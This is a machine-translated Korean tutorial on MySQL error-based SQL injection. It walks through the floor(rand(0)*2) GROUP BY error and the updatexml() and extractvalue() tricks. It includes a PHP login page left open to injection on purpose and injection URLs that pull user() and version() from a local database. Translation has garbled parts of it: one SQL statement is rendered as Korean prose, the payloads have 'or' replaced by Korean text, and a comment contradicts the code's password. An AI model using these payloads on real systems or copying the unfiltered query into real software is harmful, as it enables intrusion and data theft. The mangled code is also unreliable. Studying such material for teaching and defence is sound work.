SQL 주입 - 오류 주입

0x00 배경

  SQL 인젝션은 오랫동안 OWASP TOP10 리스트의 상위권에 있었고 웹 보안에 큰 영향을 미쳤습니다. 사용 필요 오류 주입은 SQL 주입을 수행하는 데 사용됩니다. 이 글에서는 오류 주입의 생성 원리와 사용 사례에 대해 설명합니다.

0x01 10가지 오류 주입

  이 10가지 방법은 여기서는 다루지 않으며 자세한 내용은 https://www.cnblogs.com/wocalieshenmegui/p/5917967.html에서 확인할 수 있습니다. 가장 일반적으로 사용되는 세 가지 오류 주입 방법은 floor(), updatexml(), extractvalue()입니다.

0x02 에러 주입 원리

  오류 주입의 원리를 이해하려면 먼저 sqli라는 데이터베이스를 만든 다음 데이터를 삽입할 테이블을 만듭니다.

mysql> create database sqli;
mysql> create table user (
        id int(11) not null auto_increment primary key,
        name varchar(20) not null,
        pass varchar(32) not null
    );
    
mysql> insert into user (name, pass) values ('admin', md5('admin')), ('guest', md5('guest'));

  

  먼저 floor() 기반의 오류 보고 SQL 문을 살펴보겠습니다.

사용자 그룹에서 x로 count(*),(concat(floor(rand(0)*2),(select version())))x를 선택합니다.

  오류 주입을 처음 접하는 경우 일반적으로 몇 가지 문제가 있습니다.

  Q1. floor() 함수가 무엇인가요?

  A1.floor 함수의 기능은 값보다 작거나 같은 가장 큰 정수를 반환하는 것입니다. 이는 내림하고 정수 부분만 유지하는 것으로 이해할 수도 있습니다.

  Q2.rand(0)은 무엇을 의미합니까?

  A2. rand() 함수를 사용하여 0 또는 1을 생성할 수 있지만 rand(0)과 rand() 사이에는 여전히 근본적인 차이가 있습니다. rand(0)는 rand() 함수에 매개 변수를 전달하는 것과 같습니다. 그런 다음 rand() 함수의 난수 생성은 매개변수 0에 따라 수행됩니다. rand()에 의해 생성된 숫자는 완전히 무작위이며 rand(0)은 정기적으로 생성되며 데이터베이스에서 시도할 수 있습니다. 첫 번째 테스트 rand()

  

  rand(0)의 효과를 다시 테스트해 봅시다.

  

  분명히 rand(0)은 유사 무작위이며 따라야 할 규칙이 있습니다. 이것이 우리가 오류 주입에 rand(0)을 사용하는 이유입니다. rand(0)은 안정적이므로 모든 주입은 오류를 보고하고 rand()는 운 좋게도 테스트 결과는 다음과 같습니다

  

  Q3. 왜 에러 메시지가 나오나요?

  A3. 'group_key' 키에 대한 중복 항목 '15.5.53' 오류의 내용을 살펴보겠습니다. group_key 항목이 중복되었음을 의미합니다. 그룹 쿼리에 그룹 기준을 사용하면 데이터베이스에서 가상 테이블을 생성합니다.

  

  이 가상 테이블에서 group by 이후의 필드를 기본 키로 사용하므로 이 테이블의 기본 키는 이름이므로 기본적으로 오류의 원인을 이해할 수 있습니다. 이는 주로 가상 테이블의 기본 키가 반복. MySQL의 공식 성명에 따르면 group by는 두 가지 작업을 수행해야 합니다. 첫 번째는 비교를 위해 group by 뒤의 필드 값을 가상 테이블로 가져와서 먼저 group by 뒤에 있는 값을 얻고 두 번째는 뒤에 있는 값을 가정하는 것입니다. group by 해당 필드의 값이 가상 테이블에 존재하지 않는 경우 가상 테이블에 삽입해야 함 여기서 삽입 시 두 번째 연산을 수행하게 됨 rand 함수의 임의성으로 인해 두 번째 작업은 다음과 같을 수 있습니다. 첫 번째 작업의 결과가 일치하지 않지만 이 작업의 결과가 가상 테이블에 이미 존재할 수 있으므로 이때 삽입은 필연적으로 기본 키의 중복으로 이어지며 이로 인해 오류.

0x03 케이스

  //다음과 같은 케이스 코드가 복사됩니다.

  데이터베이스는 이전 데이터베이스를 계속 사용할 수 있으며 웹 루트 디렉토리에 sqli.php를 생성합니다.

 1 <?php
 2 $conn = mysql_connect("localhost", "root", "123456"); // 连接数据库,账号root,密码root
 3 if (!$conn) {
 4     die("Connection failed: " . mysql_error());
 5 }
 6 
 7 mysql_select_db("sqli", $conn);
 8 
 9 // verify login info
10 if (isset($_GET['name']) && isset($_GET['pass'])) {
11     $name = $_GET['name'];
12     $pass = md5($_GET['pass']);
13 
14     $query = "select * from user where name='$name' and pass='$pass'";
15 
16     if ($result = mysql_query($query, $conn)) {
17         $row = mysql_fetch_array($result, MYSQL_ASSOC);
18 
19         if ($row) {
20             echo "<script>alert('login successful!');</script>";
21         }
22     } else {
23         die("Operation error: " . mysql_error());
24     }
25 }
26 
27 mysql_close();
28 ?>
29 
30 <!DOCTYPE html>
31 <html>
32 <head>
33     <title>Login</title>
34 </head>
35 <body>
36 <center>
37     <form method="get" action="">
38         <label>Username:</label><input type="text" name="name" value=""/><br/>
39         <label>Password:</label><input type="password" name="pass" value=""/><br/>
40         <input type="submit" value="login"/>
41     </form>
42 </center>
43 </body>
44 </html>

  코드의 11~14행은 로그인 확인 모듈로 프로그램이 GET 형태로 이름을 얻어 파라미터를 전달하고 필터링 없이 직접 쿼리문으로 가져오는 것을 볼 수 있다 명백한 SQL 인젝션 취약점이 존재한다 우리는 floor() 오류 주입을 사용하여 시도합니다.

http://localhost/sqli.php?name=' 또는 (select 1 from(select count(*),concat(user(),0x7e,floor(rand(0)*2))x from information_schema.tables group by x)a) # &pass=123

  updatexml() 과 extractvalue() 를 따로 써보자(원칙은 다르지만 데이터베이스 구성이 잘못되었다는 생각)

http://localhost/sqli.php?name=' 또는 extractvalue(1,concat(user(),0x7e,version())) # &pass=1

http://localhost/index.php?name=' 또는 updatexml(1,concat(user(),0x7e,version()),1) # &pass=1

Supongo que te gusta

Origin blog.csdn.net/Forget_liu/article/details/131146695
Recomendado
Clasificación